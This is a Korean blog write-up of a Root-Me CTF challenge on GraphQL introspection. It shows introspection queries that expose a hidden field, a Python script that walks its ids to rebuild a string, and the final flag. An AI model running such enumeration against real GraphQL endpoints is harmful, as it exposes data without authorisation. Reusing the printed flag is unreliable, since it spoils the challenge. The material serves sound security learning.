GraphQL - Introspection Write-up

Ccr3t·2026년 3월 20일

Wargame

목록 보기
72/76

[Solved in under 47 minutes]

모의침투 사업 안 들어오나
본사에서 너무 심심하게 있다.
개발 그만 하고 싶다.

가보자



들어가자마자 로켓인지 대륙간 탄도 미사일인지 나온다.
요즘 전쟁때문에 3차대전이다 뭐나 말이 많은데

애니웨이, 다른거 눌러도 뭐 별게 없어보이는데

소스코드 한번 보자


<!DOCTYPE html>
<html>
<head>
    <title>RocketsLand 1</title>
    <meta charset="utf-8">
    <style>
        html {
          background-color: #fff6f6;
        }
        .center {
            margin-left: auto;
            margin-right: auto;
            text-align: center;
        }

        table {
          border-collapse: collapse;
          width: 70%;
        }

        table, th, td {
          border: 1px solid black;
          padding: 15px;
        }

    </style>
</head>

<body>
	<h1 class="center">RocketsLand 1</h1></br></br>
	<div class="center">
  
    <img src="/rocket.gif" width="200px">

		<h3>Select a country</h3>

		<select id="country" name="country">
			<option value="France">France</option>
			<option value="Europe">Europe</option>
			<option value="China">China</option>
			<option value="Iran">Iran</option>
			<option value="Italy">Italy</option>
			<option value="New Zealand">New Zealand</option>
			<option value="Russia">Russia</option>
			<option value="Ukraine">Ukraine</option>
			<option value="United States">United States</option>
		</select>

		<input id="sub_button" type="submit" value="Search">

	</div>
	<br/><br/>

	<div class="center">
		<table class='center'>
			<thead>
        <tr>
          <th>name</th>
          <th>country</th>
          <th>active</th>
        </tr>
      </thead>
			<tbody id="tbody">
      </tbody>
		</table>
	</div>

	<script>
		function fetchData() {
		  const country = document.getElementById('country').value;
			fetch('/rocketql', {
				method: 'POST',
				headers: {
					'Content-Type': 'application/json',
					'Accept': 'application/json',
				},
				body: JSON.stringify({ query: '{ rockets(country: "' + country + '") { name, country, is_active } }' })
			})
				.then(r => r.json())
				.then(function(data) {
          data = data['data']['rockets'];
          tbody = document.getElementById('tbody');
          tbody.innerHTML = '';
          
          data.forEach(function(d) {
            tbody.innerHTML += `
              <tr>
                <td>${d['name']}</td>
                <td>${d['country']}</td>
                <td>${d['is_active']}</td>
              </tr>\n`;
          });
          
        });
		}

		const sub_button = document.getElementById('sub_button');
		sub_button.addEventListener('click', fetchData);
	</script>
	
</body>

</html>

뭔진 잘 몰라도 rocketql에서 뭐를 받아오는것 같다.

Burp Suite로 한번 패킷을 잡아보자.

ㅋㅋㅋㅋㅋㅋㅋㅋㅋㅋㅋㅋㅋㅋ 이거 보자 마자 모의침투 때가 딱 생각났다.
처음 query가 있어서 뭐여 SQL이여? 이러면서 막 알아보던 그 때가.

이거는 GraphQL이라는거다.
진짜 지x 맞은게 진짜 하나만 살짝 틀려도 별지x 다 하는 녀석이다.
뭔지는 알아서들 공부하고 여기서 IDOR 취약점이 많이 식별 되는점을 알고있자.

어쨌든 해당 취약점을 이용해서 문제를 푸는 것 같다.

옛날에 정리해둔 쿼리들을 이용하여 introspection 기능이 되는지 보자.

{
  "query": "{ __schema { types { name } } }"
}

introspection이 되는 것을 확인했고, 사용가능한 필드를 보자

{
  "query": "{ __schema { queryType { fields { name } } } }"
}

사용 가능한 필드는 rockets 및 IAmNotHere이 보인다.

rockets는 내가 소스코드로 보았던 것과 똑같으니 아무래도 후자인 IAmNotHere에 답이 있을 것 같다.

좀 더 상세히 보자

{
  "query": "{ __schema { queryType { fields { name args { name type { name kind ofType { name kind } } } type { name kind ofType { name kind } } } } } }"
}

IAmNotHere의 쿼리 인자도 확인했다.
very_long_id는 int형으로 받는다 오케이

오브젝트를 한번 보자

{
  "query": "{ __type(name:\"IAmNotHere\"){ fields{ name type{ name kind } } } }"
}

오브젝트를 확인하니
very_long_id는 int형으로 받고 very_long_value는 string형으로 받는것을 확인했다.

이제 introspection 기능으로 어느정도 정보를 확인 한 것 같으니 직접 한번 날려보자.

{
  "query": "{ IAmNotHere(very_long_id:1){ very_long_value } }"
}

GraphQL 문법은 공부하자 나도 딱 이정도만 알고 있고, 나머지는 그 상황에 맞춰서 공부한다.

일단 very_long_id에 1을 삽입하니 n이라고 도출이 됐다.

{
  "query": "{ IAmNotHere(very_long_id:2){ very_long_value } }"
}

2를 넣으니 o가 나왔다.

웬만큼은 직접 하겠지만 오브젝트 이름도 very_long이니 그냥

이거에 맞게 요청 보내게 GPT 선생님한테 요청 보내게 만들어 달라하자.(원리는 알고쓰자)

import requests

url = "http://challenge01.root-me.org:59077/rocketql"

headers = {
    "Content-Type": "application/json",
    "Accept": "application/json"
}

i = 1
results = []

while True:
    payload = {
        "query": f'{{ IAmNotHere(very_long_id:{i}){{ very_long_value }} }}'
    }

    r = requests.post(url, json=payload, headers=headers)

    try:
        data = r.json()
    except:
        print("JSON parse error")
        break

    result = data.get("data", {}).get("IAmNotHere")

    if not result:
        print(f"[+] No more data at id {i}. Stopping.")
        break

    value = result[0].get("very_long_value")
    print(f"id {i} -> {value}")

    results.append(value)
    i += 1

# 마지막 결과 출력
final_string = "".join(results)
print("\n[+] Final extracted string:")
print(final_string)

이쁘장하게 뽑혔다.

이제 갖고가자~

예? ㅋㅋㅋㅋㅋㅋㅋㅋ
안되는거임.

그래서 뭐지 하고 다시 한번 읽어봤는데
"nothing here lol"
장난치나 ㅋㅋㅋㅋㅋㅋㅋㅋㅋㅋㅋㅋㅋㅋㅋㅋㅋㅋㅋ

뭐지 하고 다시 rockets를 introspection 해보고 했는데 안보이는거.
여기서 시간 굉장히 많이 썼다.
분명히 여기 있다 하고 다시 돌아와 내가 직접 하나씩 삽입하다가..

{
  "query": "{ IAmNotHere(very_long_id:16){ very_long_value } }"
}

아니 분명히 맞게 넣었는데 없는데.. 이러고 있는데

와 어이없어 진짜..

이건 억까다. 맞잖아.

진짜 해킹은 창의성이다..

일단 가지고 가보자

ㅡㅡㅡㅡㅡㅡㅡㅡㅡㅡㅡㅡㅡㅡㅡ 답 ㅡㅡㅡㅡㅡㅡㅡㅡㅡㅡㅡㅡㅡㅡㅡ

RM{1ntr0sp3ct1On_1s_us3ful}

ㅡㅡㅡㅡㅡㅡㅡㅡㅡㅡㅡㅡㅡㅡㅡㅡㅡㅡㅡㅡㅡㅡㅡㅡㅡㅡㅡㅡㅡㅡㅡㅡㅡ

그냥 뭐 할 말이 없다.
이렇게 한번 낚시를 할 지는 생각지도 못했는데...

그래도 실무에서 가끔? 의외로 자주? GraphQL 쓰는것을 볼 수 있다.

필자는 4천만 인구가 사용하는 어플의 모의침투 프로젝트 당시 GraphQL로 Blind-SSRF 취약점을 찾은 경험이 있다.

그때 살면서 처음 접했는데 그거 덕분에 GraphQL을 기초적으로 사용 할 수 있다.

이 문제 진짜 도움 된다고 본다.(낚시 저거 빼고.)

RootMe GraphQL - Introspection Write-up

이상 보고 끝!

profile
웹해킹을 잘 못 하지만 좋아 하려고 노력하는 한 젊은이.

0개의 댓글